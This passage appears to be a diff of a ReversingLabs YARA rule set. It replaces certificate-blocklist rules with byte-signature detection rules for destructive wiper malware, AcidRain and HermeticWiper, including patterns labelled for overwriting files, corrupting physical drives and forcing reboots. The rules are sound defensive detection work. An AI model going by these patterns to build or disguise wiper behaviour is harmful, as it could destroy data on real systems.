?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B + 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 85 + C9 74 ?? 8B 11 8D 45 ?? 3B C8 0F 95 C0 0F B6 C0 50 FF 52 ?? 8B 4D ?? 64 89 0D ?? ?? + ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $find_shared_network_drives_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 7D ?? 89 BD ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? C7 + 47 ?? ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A + ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 + C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? B1 ?? 88 45 ?? 0F 57 C0 8A 45 ?? BE ?? ?? ?? ?? 32 + C1 C7 45 ?? ?? ?? ?? ?? 0F 11 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? F7 E6 + 6A ?? 68 ?? ?? ?? ?? 52 50 C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? + ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? + ?? ?? C6 85 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C8 32 85 + ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8B C1 F7 E6 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? + 8B C8 32 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8B C1 F7 E6 6A ?? 68 ?? ?? ?? ?? 52 50 E8 + ?? ?? ?? ?? 8B C8 32 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8B C1 F7 E6 6A ?? 68 ?? ?? ?? + ?? 52 50 E8 ?? ?? ?? ?? 8B C8 32 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8B C1 F7 E6 6A + } + $find_shared_network_drives_p2 = { + 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B C8 32 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8B C1 + F7 E6 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B C8 32 85 ?? ?? ?? ?? 88 85 ?? ?? + ?? ?? 8B C1 F7 E6 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B C8 32 85 ?? ?? ?? ?? + 88 85 ?? ?? ?? ?? 8B C1 F7 E6 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 32 85 ?? ?? + ?? ?? 8D 4D ?? 88 85 ?? ?? ?? ?? 8D 51 ?? 0F 10 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? 0F 11 45 ?? C6 45 ?? ?? 8A 01 41 84 C0 75 ?? 2B CA 8D 45 ?? 51 + 50 8D 4D ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 45 ?? ?? + 0F 57 C0 89 8D ?? ?? ?? ?? 0F 11 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 F6 C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 4D ?? 66 66 66 + 0F 1F 84 00 ?? ?? ?? ?? 8A 84 35 ?? ?? ?? ?? 32 C1 88 44 35 ?? 8B C1 F7 E7 6A ?? 68 + ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 46 8B C8 83 FE ?? 72 ?? 0F 10 45 ?? 8B BD ?? ?? ?? + ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 8D 51 ?? 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? + ?? 0F 1F 00 8A 01 41 84 C0 75 ?? 2B CA 8D 45 ?? 51 50 8D 4D ?? E8 ?? ?? ?? ?? BE ?? + ?? ?? ?? 89 B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 6A + ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C9 89 8D ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 51 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? + ?? 8B CF C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 51 ?? 8A 01 41 84 + } + $find_shared_network_drives_p3 = { + C0 75 ?? 2B CA 51 57 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 + ?? 8D 4D ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? 83 CE ?? 51 0F 10 00 68 ?? ?? ?? ?? 6A ?? 0F 11 45 ?? 89 B5 ?? ?? + ?? ?? F3 0F 7E 40 ?? 66 0F D6 45 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 + ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 85 + C0 0F 94 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B + 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 + ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 83 FA + ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? + 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 80 BD ?? ?? ?? ?? ?? 0F 84 + ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? 51 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? + ?? 0F 84 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? 8B CE C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 51 56 8D + 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 75 ?? 8B 7D ?? BA ?? ?? ?? ?? 0F 43 75 ?? 33 C9 + 85 FF 74 ?? 0F 1F 40 ?? 0F B6 04 31 41 33 C2 69 D0 ?? ?? ?? ?? 3B CF 72 ?? 23 95 ?? + ?? ?? ?? 8B BD ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B + 04 D7 8B F0 89 85 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 3B C1 75 ?? 8B C1 EB ?? 8B 44 D7 + } + $find_shared_network_drives_p4 = { + 8B 00 3B F0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 8D 4E ?? 8B 79 ?? 8D 55 ?? 0F 43 55 ?? 83 + 79 ?? ?? 72 ?? 8B 09 3B 7D ?? 75 ?? 83 EF ?? 72 ?? 0F 1F 80 ?? ?? ?? ?? 8B 01 3B 02 + 75 ?? 83 C1 ?? 83 C2 ?? 83 EF ?? 73 ?? 83 FF ?? 74 ?? 8A 01 3A 02 75 ?? 83 FF ?? 74 + ?? 8A 41 ?? 3A 42 ?? 75 ?? 83 FF ?? 74 ?? 8A 41 ?? 3A 42 ?? 75 ?? 83 FF ?? 74 ?? 8A + 41 ?? 3A 42 ?? 74 ?? 1B C0 83 C8 ?? EB ?? 33 C0 85 C0 74 ?? 8B 36 8B 95 ?? ?? ?? ?? + 8B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 46 ?? 50 8D + 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 84 C0 0F 45 F7 EB ?? 8B + BD ?? ?? ?? ?? 8B F1 8D 4D ?? E8 ?? ?? ?? ?? 3B F7 0F 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? + ?? 8D 7D ?? 83 7D ?? ?? 8B CE C7 45 ?? ?? ?? ?? ?? 0F 43 7D ?? C7 45 ?? ?? ?? ?? ?? + C6 45 ?? ?? 8D 51 ?? 90 8A 01 41 84 C0 75 ?? 2B CA 51 56 8D 4D ?? E8 ?? ?? ?? ?? 8D + 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? + 68 ?? ?? ?? ?? 8B C8 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 8D ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 10 00 0F 11 45 ?? F3 0F 7E 40 ?? 66 0F D6 45 ?? C7 40 + ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? FF B5 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? + 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 78 ?? ?? 72 ?? + 8B 00 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 50 68 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 + } + $find_shared_network_drives_p5 = { + 75 ?? 66 66 0F 1F 84 00 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 73 ?? 8D 85 ?? ?? + ?? ?? 50 56 8D 85 ?? ?? ?? ?? 50 6A ?? 57 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 + 74 ?? 56 3D ?? ?? ?? ?? 75 ?? 81 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? EB ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 + F6 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? + E8 ?? ?? ?? ?? 85 F6 74 ?? 8B BD ?? ?? ?? ?? 8B 4F ?? 39 4F ?? 74 ?? 8B D6 C7 41 ?? + ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C6 01 ?? 8D 7A ?? 0F 1F 80 ?? ?? ?? ?? 8A 02 42 84 + C0 75 ?? 2B D7 52 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 40 ?? ?? EB ?? 8D 85 ?? ?? + ?? ?? 50 51 8B CF E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 30 8D 85 ?? ?? ?? ?? 50 8B 7E ?? 57 56 E8 ?? ?? ?? + ?? 8B 8D ?? ?? ?? ?? 8B D0 B8 ?? ?? ?? ?? 2B C1 83 F8 ?? 0F 82 ?? ?? ?? ?? 41 89 8D + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 56 ?? 89 17 8B 85 ?? ?? ?? ?? 8B 00 50 83 C0 ?? 50 + 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 + ?? ?? ?? ?? 40 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B BD + ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 8D ?? ?? ?? ?? 41 89 8D ?? ?? ?? ?? 81 F9 + ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? + 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? + 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 + } + $overwrite_files_1 = { + 55 8B EC 83 EC ?? 53 8B 5D ?? 56 8B 75 ?? 53 56 FF 75 ?? 89 5D ?? E8 ?? ?? ?? ?? 83 + C4 ?? 3B C6 0F 85 ?? ?? ?? ?? 3B D3 0F 85 ?? ?? ?? ?? 57 8B 7D ?? 33 C0 89 45 ?? 85 + FF 0F 84 ?? ?? ?? ?? 8B DE 6A ?? FF 75 ?? FF 77 ?? FF 77 ?? E8 ?? ?? ?? ?? 8B FA 8B + F0 8B 45 ?? 57 56 FF 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 03 DE 89 45 ?? + 8B C2 13 CF 89 45 ?? 39 5D ?? 75 ?? 3B C1 75 ?? 8B 7D ?? 33 F6 8B 1F 0F AF 5D ?? 85 + DB 74 ?? 8B 45 ?? 8B FB 2B FE 3B C7 0F 42 F8 57 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B + 45 ?? 83 C4 ?? 03 F7 80 7D ?? ?? 75 ?? 3B F0 74 ?? 3B F3 72 ?? 8B 7D ?? 8B 45 ?? 8B + 5D ?? 01 75 ?? 50 53 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 3B C3 75 ?? 3B 55 ?? 75 ?? 8B + 7F ?? 89 7D ?? 85 FF 0F 85 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 + } + $overwrite_files_2 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 8B 75 ?? 8D 85 ?? ?? + ?? ?? 57 68 ?? ?? ?? ?? 6A ?? 32 DB 50 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 7E ?? ?? 72 ?? 8B 36 56 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? + 83 FF ?? 0F 84 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 + ?? ?? ?? ?? 80 B8 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? + 89 B5 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 DB E8 ?? ?? ?? ?? 83 C4 + ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 53 + 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 75 ?? 85 D2 75 ?? 68 ?? ?? + ?? ?? FF B5 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 75 ?? 50 E8 ?? ?? + ?? ?? 8B D8 83 C4 ?? 85 DB 74 ?? 68 ?? ?? ?? ?? 6A ?? 53 E8 ?? ?? ?? ?? 56 E8 ?? ?? + ?? ?? 8B F0 8B C2 50 56 57 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 3B C6 75 ?? 3B + 95 ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 53 57 E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 9D ?? ?? ?? ?? 6A + ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 0B C2 75 ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 0F + B6 DB 3D ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 D9 8B B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 85 F6 74 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 + ?? 8B 4D ?? 8A C3 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 6A ?? 68 ?? ?? ?? ?? 57 + E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 85 D2 0F 85 ?? ?? ?? ?? 50 + 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 + } -rule REVERSINGLABS_Cert_Blocklist_018093Cfad72Cdf402Eecbe18B33Ec71 : INFO FILE + condition: + uint16( 0 ) == 0x5A4D and ( all of ( $find_volumes_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $find_shared_network_drives_p* ) ) and ( all of ( $overwrite_files_* ) ) +} +rule REVERSINGLABS_Linux_Trojan_Acidrain : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects AcidRain trojan." author = "ReversingLabs" - id = "d9ab2e5c-a107-53c1-9b8d-b4625eed03b0" - date = "2020-08-05" - modified = "2023-11-08" + id = "802c7eb7-d407-5b07-a6b4-4648d3ad80e9" + date = "2024-05-10" + modified = "2024-05-10" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5806-L5822" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Linux.Trojan.AcidRain.yara#L1-L67" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ac398ef89e691158742598777c320832a750a7410904448778afc7ef3c63c255" + logic_hash = "5b47a0de8bda09d217f8a148e561f3da7ce4945f011f4a9b5dbbca88157d3080" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Trojan" + tc_detection_name = "AcidRain" + tc_detection_factor = 5 importance = 25 + strings: + $destroy_files_using_ioctls = { + 55 89 E5 57 BF ?? ?? ?? ?? 56 53 81 EC ?? ?? ?? ?? 89 7C 24 ?? 8B 45 ?? 89 04 24 E8 + ?? ?? ?? ?? 85 C0 89 C3 78 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D + C3 8D 45 ?? BE ?? ?? ?? ?? 89 44 24 ?? 89 74 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 4D ?? + 8B 55 ?? C7 45 ?? ?? ?? ?? ?? 85 C9 89 55 ?? 74 ?? 8D 75 ?? 8D B6 ?? ?? ?? ?? 8D BF + ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 74 24 ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? B8 ?? ?? + ?? ?? 89 74 24 ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 01 D0 39 45 + ?? 89 45 ?? 77 ?? 81 FA ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? C7 45 + ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 75 ?? EB ?? 31 C9 89 4C 24 ?? 8B 45 ?? 89 + 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 7C 24 ?? 89 1C 24 89 44 24 ?? E8 + ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 01 D0 39 45 ?? 89 45 ?? 76 ?? B8 ?? ?? ?? ?? 89 74 24 + ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 74 24 ?? 89 44 24 ?? 89 1C + 24 E8 ?? ?? ?? ?? 80 7D ?? ?? 75 ?? A1 ?? ?? ?? ?? 89 7D ?? 89 45 ?? 8B 45 ?? 89 45 + ?? 8D 45 ?? 89 44 24 ?? B8 ?? ?? ?? ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 55 ?? + 8B 45 ?? 01 D0 39 45 ?? 89 45 ?? 77 ?? 8D 74 26 ?? 8D BC 27 ?? ?? ?? ?? 31 FF 89 1C + 24 E8 ?? ?? ?? ?? 31 C0 89 44 24 ?? 89 7C 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 75 ?? C7 + 45 ?? ?? ?? ?? ?? 85 F6 74 ?? 8D 75 ?? 8D 76 ?? B9 ?? ?? ?? ?? 89 74 24 ?? 89 4C 24 + ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 01 D0 39 45 ?? 89 45 ?? 77 ?? 89 1C 24 + E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D C3 + } + $destroy_files_using_overwrite = { + 55 89 E5 83 EC ?? 89 5D ?? 8B 5D ?? 8D 45 ?? 89 75 ?? 89 7D ?? C7 45 ?? ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 5D ?? 8B 75 + ?? 8B 7D ?? 89 EC 5D C3 + } + $redundant_reboot_attempts = { + C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F + 84 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 85 C0 0F + 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 8D 76 ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 04 + 24 E8 ?? ?? ?? ?? 31 D2 83 C4 ?? 89 D0 59 5B 5E 5F 5D 8D 61 ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FAT11 d.o.o." and pe.signatures [ i ] . serial == "01:80:93:cf:ad:72:cd:f4:02:ee:cb:e1:8b:33:ec:71" and 1602000390 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( $destroy_files_using_ioctls ) and ( $destroy_files_using_overwrite ) and ( $redundant_reboot_attempts ) } - -rule REVERSINGLABS_Cert_Blocklist_569E03988Af60D80Ce60728940850D9B : INFO FILE +rule REVERSINGLABS_Win32_Trojan_Hermeticwiper : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects HermeticWiper trojan." author = "ReversingLabs" - id = "a4432990-8c2f-523c-8a9d-cba578aaefc5" - date = "2020-08-05" - modified = "2023-11-08" + id = "252dfb3d-9d4e-51a4-80c9-64e17922d997" + date = "2022-02-24" + modified = "2022-02-24" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5824-L5842" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.HermeticWiper.yara#L1-L50" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3ea894d9e088c2123f9ec87cbf097e2275fae18cad26e926641fe64921808b1e" + logic_hash = "0fa519ce8285ffe4e49c2a301e8a0fd0516a05dc6b41ee0b010fdc76dd6e195e" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Trojan" + tc_detection_name = "HermeticWiper" + tc_detection_factor = 5 importance = 25 + strings: + $corrupt_physical_drive = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 51 68 ?? ?? ?? ?? 0F 57 C0 89 55 ?? 8D 85 ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 F6 66 0F D6 45 ?? 33 FF 89 75 ?? 50 0F + 11 45 ?? 89 7D ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 8D 55 ?? 8D 8D ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? + BF ?? ?? ?? ?? 57 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8B F0 8D 45 ?? + 50 57 56 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? + 75 ?? 66 0F 1F 44 00 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 81 C7 ?? ?? + ?? ?? 33 F6 81 FF ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 57 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57 56 6A ?? 6A ?? 68 ?? + ?? ?? ?? 53 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 85 F6 0F 84 ?? ?? ?? + ?? 8B 06 C7 45 ?? ?? ?? ?? ?? 83 F8 ?? 74 ?? 85 C0 74 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 